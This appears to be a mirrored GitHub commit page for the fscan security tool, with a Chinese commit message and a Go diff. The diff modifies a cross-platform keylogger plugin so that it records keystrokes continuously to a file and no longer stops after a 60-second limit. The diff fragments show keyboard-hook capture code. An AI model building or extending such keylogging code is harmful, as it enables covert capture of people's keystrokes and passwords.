mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
feat: 移除键盘记录时间限制,改为持续记录模式
- 删除-keylog-duration命令行参数和相关配置 - 移除KeyloggerDuration全局变量和时间限制逻辑 - 键盘记录现在持续运行直到程序手动停止 - 更新日志格式为「记录模式: 持续记录」 - 优化用户体验,避免因时间限制导致记录意外中断 - 保持实时文件输出和高性能键盘捕获特性 - 更新插件信息和帮助文档,移除时间相关描述
This commit is contained in:
parent
42522df80c
commit
4e237f6bc3
@ -83,7 +83,6 @@ var (
|
||||
|
||||
// 键盘记录相关变量
|
||||
KeyloggerOutputFile string // 键盘记录输出文件
|
||||
KeyloggerDuration int // 键盘记录时长(秒)
|
||||
|
||||
// Parse.go 使用的变量
|
||||
HostPort []string
|
||||
@ -246,7 +245,6 @@ func Flag(Info *HostInfo) {
|
||||
flag.StringVar(&PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
|
||||
flag.StringVar(&WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
|
||||
flag.StringVar(&KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
|
||||
flag.IntVar(&KeyloggerDuration, "keylog-duration", 60, i18n.GetText("flag_keylogger_duration"))
|
||||
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
|
||||
|
||||
// 帮助参数
|
||||
|
@ -254,10 +254,6 @@ var FlagMessages = map[string]map[string]string{
|
||||
LangZH: "键盘记录输出文件路径",
|
||||
LangEN: "Keylogger output file path",
|
||||
},
|
||||
"flag_keylogger_duration": {
|
||||
LangZH: "键盘记录持续时间(秒)",
|
||||
LangEN: "Keylogger duration in seconds",
|
||||
},
|
||||
"flag_language": {
|
||||
LangZH: "语言: zh, en",
|
||||
LangEN: "Language: zh, en",
|
||||
|
@ -198,10 +198,6 @@ func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
|
||||
func (p *KeyloggerPlugin) processEvents(ctx context.Context) error {
|
||||
common.LogInfo("开始处理键盘事件...")
|
||||
|
||||
// 超时定时器
|
||||
timeout := time.NewTimer(p.duration)
|
||||
defer timeout.Stop()
|
||||
|
||||
// 完全模仿你的for ev := range evChan模式
|
||||
for {
|
||||
select {
|
||||
@ -210,11 +206,6 @@ func (p *KeyloggerPlugin) processEvents(ctx context.Context) error {
|
||||
stopHookChan <- true
|
||||
return nil
|
||||
|
||||
case <-timeout.C:
|
||||
common.LogInfo("键盘记录时间到达,退出记录")
|
||||
stopHookChan <- true
|
||||
return nil
|
||||
|
||||
case ev := <-eventChannel:
|
||||
// 只处理按键按下事件(模仿你的 if ev.Kind == hook.KeyDown)
|
||||
if ev.Kind == KeyDown && ev.Keychar != "" {
|
||||
@ -243,7 +234,7 @@ func (p *KeyloggerPlugin) writeLogHeader() {
|
||||
|
||||
// 模仿你的日志格式
|
||||
fmt.Fprintf(logFile, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05"))
|
||||
fmt.Fprintf(logFile, "记录时长: %v\n", p.duration)
|
||||
fmt.Fprintf(logFile, "记录模式: 持续记录\n")
|
||||
fmt.Fprintf(logFile, "平台: Windows (高效版本)\n")
|
||||
fmt.Fprintf(logFile, "================================\n\n")
|
||||
logFile.Sync()
|
||||
|
@ -18,7 +18,6 @@ import (
|
||||
type KeyloggerPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
outputFile string
|
||||
duration time.Duration
|
||||
isRunning bool
|
||||
stopChan chan struct{}
|
||||
keyBuffer []string
|
||||
@ -33,11 +32,6 @@ func NewKeyloggerPlugin() *KeyloggerPlugin {
|
||||
outputFile = "keylog.txt" // 默认输出文件
|
||||
}
|
||||
|
||||
duration := time.Duration(common.KeyloggerDuration) * time.Second
|
||||
if duration <= 0 {
|
||||
duration = 60 * time.Second // 默认记录60秒
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "keylogger",
|
||||
Version: "1.0.0",
|
||||
@ -51,7 +45,6 @@ func NewKeyloggerPlugin() *KeyloggerPlugin {
|
||||
plugin := &KeyloggerPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
outputFile: outputFile,
|
||||
duration: duration,
|
||||
stopChan: make(chan struct{}),
|
||||
keyBuffer: make([]string, 0),
|
||||
}
|
||||
@ -102,11 +95,10 @@ func (p *KeyloggerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo)
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "Keylogger",
|
||||
Banner: fmt.Sprintf("键盘记录已完成 - 输出文件: %s 平台: %s 记录时长: %v", p.outputFile, runtime.GOOS, p.duration),
|
||||
Banner: fmt.Sprintf("键盘记录已完成 - 输出文件: %s 平台: %s", p.outputFile, runtime.GOOS),
|
||||
Extra: map[string]interface{}{
|
||||
"output_file": p.outputFile,
|
||||
"platform": runtime.GOOS,
|
||||
"duration": p.duration.String(),
|
||||
"keys_captured": len(p.keyBuffer),
|
||||
},
|
||||
}
|
||||
@ -121,21 +113,17 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context) error {
|
||||
p.isRunning = false
|
||||
}()
|
||||
|
||||
common.LogInfo(fmt.Sprintf("开始记录键盘输入,时长: %v,输出文件: %s", p.duration, p.outputFile))
|
||||
|
||||
// 创建超时上下文
|
||||
timeoutCtx, cancel := context.WithTimeout(ctx, p.duration)
|
||||
defer cancel()
|
||||
common.LogInfo(fmt.Sprintf("开始键盘记录,输出文件: %s", p.outputFile))
|
||||
|
||||
// 根据平台启动相应的键盘记录
|
||||
var err error
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
err = p.startWindowsKeylogging(timeoutCtx)
|
||||
err = p.startWindowsKeylogging(ctx)
|
||||
case "linux":
|
||||
err = p.startLinuxKeylogging(timeoutCtx)
|
||||
err = p.startLinuxKeylogging(ctx)
|
||||
case "darwin":
|
||||
err = p.startDarwinKeylogging(timeoutCtx)
|
||||
err = p.startDarwinKeylogging(ctx)
|
||||
default:
|
||||
err = fmt.Errorf("不支持的平台: %s", runtime.GOOS)
|
||||
}
|
||||
@ -210,8 +198,7 @@ func (p *KeyloggerPlugin) saveKeysToFile() error {
|
||||
|
||||
// 写入头部信息
|
||||
header := fmt.Sprintf("=== 键盘记录日志 ===\n")
|
||||
header += fmt.Sprintf("开始时间: %s\n", time.Now().Add(-p.duration).Format("2006-01-02 15:04:05"))
|
||||
header += fmt.Sprintf("结束时间: %s\n", time.Now().Format("2006-01-02 15:04:05"))
|
||||
header += fmt.Sprintf("开始时间: %s\n", time.Now().Format("2006-01-02 15:04:05"))
|
||||
header += fmt.Sprintf("平台: %s\n", runtime.GOOS)
|
||||
header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer))
|
||||
header += fmt.Sprintf("========================\n\n")
|
||||
@ -237,7 +224,6 @@ func (p *KeyloggerPlugin) GetLocalData(ctx context.Context) (map[string]interfac
|
||||
data["plugin_type"] = "keylogger"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["output_file"] = p.outputFile
|
||||
data["duration"] = p.duration.String()
|
||||
data["keys_captured"] = len(p.keyBuffer)
|
||||
data["is_running"] = p.isRunning
|
||||
|
||||
@ -258,7 +244,6 @@ func (p *KeyloggerPlugin) ExtractData(ctx context.Context, info *common.HostInfo
|
||||
"output_file": p.outputFile,
|
||||
"keys_captured": len(p.keyBuffer),
|
||||
"platform": runtime.GOOS,
|
||||
"duration": p.duration.String(),
|
||||
"status": "completed",
|
||||
},
|
||||
}, nil
|
||||
@ -270,7 +255,7 @@ func (p *KeyloggerPlugin) GetInfo() string {
|
||||
|
||||
info.WriteString("跨平台键盘记录插件\n")
|
||||
info.WriteString(fmt.Sprintf("输出文件: %s\n", p.outputFile))
|
||||
info.WriteString(fmt.Sprintf("记录时长: %v\n", p.duration))
|
||||
info.WriteString("记录模式: 持续记录直到程序结束\n")
|
||||
info.WriteString("支持平台: Windows, Linux, macOS\n")
|
||||
info.WriteString("功能: 捕获和记录键盘输入事件\n")
|
||||
info.WriteString("要求: 管理员权限,平台特定的输入访问权限\n")
|
||||
|
Loading…
Reference in New Issue
Block a user